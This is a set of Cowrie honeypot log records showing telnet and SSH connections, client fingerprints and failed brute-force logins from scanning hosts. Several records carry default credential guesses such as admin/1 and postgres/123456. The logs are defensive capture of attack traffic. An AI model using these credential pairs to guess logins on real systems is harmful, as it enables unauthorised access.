{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:41.511410Z","src_ip":"176.65.139.103","session":"6db83fb84e3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":33952,"dst_ip":"10.17.0.5","dst_port":23,"session":"031e65900293","protocol":"telnet","message":"New connection: 155.117.234.131:33952 (10.17.0.5:23) [session: 031e65900293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:41.621951Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.220.31.6","src_port":49020,"dst_ip":"10.17.0.5","dst_port":23,"session":"bed2ee0a259f","protocol":"telnet","message":"New connection: 37.220.31.6:49020 (10.17.0.5:23) [session: bed2ee0a259f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:42.330861Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":53776,"dst_ip":"159.203.135.109","dst_port":23,"session":"5882901ac227","protocol":"telnet","message":"New connection: 159.223.86.167:53776 (159.203.135.109:23) [session: 5882901ac227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:42.504824Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:42.601209Z","src_ip":"176.65.139.103","session":"6db83fb84e3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":54134,"dst_ip":"159.203.135.109","dst_port":23,"session":"f018909b29de","protocol":"telnet","message":"New connection: 159.223.86.167:54134 (159.203.135.109:23) [session: f018909b29de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:42.611613Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":36608,"dst_ip":"10.17.0.5","dst_port":23,"session":"15e257832ae4","protocol":"telnet","message":"New connection: 213.136.75.179:36608 (10.17.0.5:23) [session: 15e257832ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:42.737962Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":40788,"dst_ip":"10.17.0.5","dst_port":22,"session":"f73d5ea77c97","protocol":"ssh","message":"New connection: 20.244.18.126:40788 (10.17.0.5:22) [session: f73d5ea77c97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:43.092821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:43.097666Z","src_ip":"20.244.18.126","session":"f73d5ea77c97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.51895546913147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:43.179560Z","src_ip":"159.223.86.167","session":"07f153cdfde3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":56478,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d99178b18c2","protocol":"telnet","message":"New connection: 159.223.86.167:56478 (159.203.135.109:23) [session: 9d99178b18c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:43.203297Z"}
{"eventid":"cowrie.session.closed","duration":30.616365671157837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:43.270083Z","src_ip":"159.223.86.167","session":"a167a3ede7a7","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:43.284874Z","src_ip":"20.244.18.126","session":"f73d5ea77c97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.17453908920288,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:43.502218Z","src_ip":"213.136.75.179","session":"d5e69962115a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":59368,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9a1c6bce506","protocol":"telnet","message":"New connection: 159.223.86.167:59368 (159.203.135.109:23) [session: f9a1c6bce506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:43.858881Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":59832,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1b4bbd7e235","protocol":"telnet","message":"New connection: 159.223.86.167:59832 (159.203.135.109:23) [session: c1b4bbd7e235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:43.939374Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@2023","message":"login attempt [ubuntu/ubuntu@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:44.067845Z","src_ip":"20.244.18.126","session":"f73d5ea77c97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.97034239768982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:44.573767Z","src_ip":"213.136.75.179","session":"b7a029d0e840","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.6493935585022,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:45.149918Z","src_ip":"23.254.167.244","session":"b8a925e037d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:45.256884Z","src_ip":"20.244.18.126","session":"f73d5ea77c97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":42876,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e5e5c5b0955","protocol":"telnet","message":"New connection: 159.223.86.167:42876 (159.203.135.109:23) [session: 4e5e5c5b0955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:46.510818Z"}
{"eventid":"cowrie.session.closed","duration":30.52332043647766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:47.122388Z","src_ip":"159.223.86.167","session":"b40228d07db0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.013590574264526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:47.163550Z","src_ip":"159.223.86.167","session":"50c61998fe72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":36618,"dst_ip":"10.17.0.5","dst_port":23,"session":"50558d79f4a5","protocol":"telnet","message":"New connection: 213.136.75.179:36618 (10.17.0.5:23) [session: 50558d79f4a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:47.218622Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":33048,"dst_ip":"10.17.0.5","dst_port":22,"session":"db2e145eb95e","protocol":"ssh","message":"New connection: 176.65.139.103:33048 (10.17.0.5:22) [session: db2e145eb95e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:47.520826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:47.526024Z","src_ip":"176.65.139.103","session":"db2e145eb95e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":34230,"dst_ip":"10.17.0.5","dst_port":23,"session":"64a774f39dab","protocol":"telnet","message":"New connection: 213.136.75.179:34230 (10.17.0.5:23) [session: 64a774f39dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:47.588607Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:47.607689Z","src_ip":"176.65.139.103","session":"db2e145eb95e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":47212,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f98df987cd5","protocol":"telnet","message":"New connection: 159.223.86.167:47212 (159.203.135.109:23) [session: 7f98df987cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:47.636706Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1","message":"login attempt [admin/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:47.854450Z","src_ip":"176.65.139.103","session":"db2e145eb95e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":34246,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a5aceb74beb","protocol":"telnet","message":"New connection: 213.136.75.179:34246 (10.17.0.5:23) [session: 4a5aceb74beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:47.932258Z"}
{"eventid":"cowrie.session.closed","duration":30.992872714996338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:48.117526Z","src_ip":"159.223.86.167","session":"db44ed48d616","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":34256,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a3ed22e0fcd","protocol":"telnet","message":"New connection: 213.136.75.179:34256 (10.17.0.5:23) [session: 2a3ed22e0fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:48.231660Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":34268,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d7716a44980","protocol":"telnet","message":"New connection: 213.136.75.179:34268 (10.17.0.5:23) [session: 9d7716a44980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:48.446294Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":34280,"dst_ip":"10.17.0.5","dst_port":23,"session":"77e9ae17640b","protocol":"telnet","message":"New connection: 213.136.75.179:34280 (10.17.0.5:23) [session: 77e9ae17640b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:48.668649Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":52572,"dst_ip":"159.203.135.109","dst_port":23,"session":"68b8e190e3aa","protocol":"telnet","message":"New connection: 159.223.86.167:52572 (159.203.135.109:23) [session: 68b8e190e3aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:48.929394Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:49.031260Z","src_ip":"176.65.139.103","session":"db2e145eb95e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":34294,"dst_ip":"10.17.0.5","dst_port":23,"session":"355bc1a7f97e","protocol":"telnet","message":"New connection: 213.136.75.179:34294 (10.17.0.5:23) [session: 355bc1a7f97e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:49.217602Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":34296,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc0a12baa26f","protocol":"telnet","message":"New connection: 213.136.75.179:34296 (10.17.0.5:23) [session: fc0a12baa26f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:49.228211Z"}
{"eventid":"cowrie.session.closed","duration":30.88749599456787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:50.298221Z","src_ip":"159.223.86.167","session":"ee33155560d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":59046,"dst_ip":"159.203.135.109","dst_port":23,"session":"33f3e6a15b33","protocol":"telnet","message":"New connection: 159.223.86.167:59046 (159.203.135.109:23) [session: 33f3e6a15b33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:50.466290Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":59036,"dst_ip":"159.203.135.109","dst_port":23,"session":"32fe583a824a","protocol":"telnet","message":"New connection: 159.223.86.167:59036 (159.203.135.109:23) [session: 32fe583a824a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:50.473898Z"}
{"eventid":"cowrie.session.closed","duration":30.491169691085815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:51.391780Z","src_ip":"155.117.234.131","session":"b5ef63f8bcda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.377234935760498,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:51.570737Z","src_ip":"159.223.86.167","session":"b19f40842cdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":36946,"dst_ip":"159.203.135.109","dst_port":23,"session":"7470879fe23f","protocol":"telnet","message":"New connection: 159.223.86.167:36946 (159.203.135.109:23) [session: 7470879fe23f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:51.813697Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":37450,"dst_ip":"159.203.135.109","dst_port":23,"session":"db2bb46dac74","protocol":"telnet","message":"New connection: 159.223.86.167:37450 (159.203.135.109:23) [session: db2bb46dac74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:51.911786Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":42210,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe52e9d4aa64","protocol":"telnet","message":"New connection: 159.223.86.167:42210 (159.203.135.109:23) [session: fe52e9d4aa64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:53.014130Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43978,"dst_ip":"159.203.135.109","dst_port":22,"session":"7064356a72ea","protocol":"ssh","message":"New connection: 159.203.92.129:43978 (159.203.135.109:22) [session: 7064356a72ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:53.037299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:53.042114Z","src_ip":"159.203.92.129","session":"7064356a72ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:53.047028Z","src_ip":"159.203.92.129","session":"7064356a72ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anonimus","password":"anonimus","message":"login attempt [anonimus/anonimus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:53.058143Z","src_ip":"159.203.92.129","session":"7064356a72ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.41285276412964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:53.257329Z","src_ip":"159.223.86.167","session":"bbe9716ae4bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80659031867981,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:53.501880Z","src_ip":"159.223.86.167","session":"4829029f5b44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":44632,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5bd635b4d23","protocol":"telnet","message":"New connection: 159.223.86.167:44632 (159.203.135.109:23) [session: a5bd635b4d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:53.609733Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59612,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe4296cca8f9","protocol":"ssh","message":"New connection: 176.65.139.103:59612 (10.17.0.5:22) [session: fe4296cca8f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:53.621065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:53.625361Z","src_ip":"176.65.139.103","session":"fe4296cca8f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:53.710272Z","src_ip":"176.65.139.103","session":"fe4296cca8f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":45468,"dst_ip":"159.203.135.109","dst_port":23,"session":"380aa1100f7b","protocol":"telnet","message":"New connection: 159.223.86.167:45468 (159.203.135.109:23) [session: 380aa1100f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:53.802947Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:54.064028Z","src_ip":"159.203.92.129","session":"7064356a72ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:54.205894Z","src_ip":"176.65.139.103","session":"fe4296cca8f9","protocol":"ssh"}
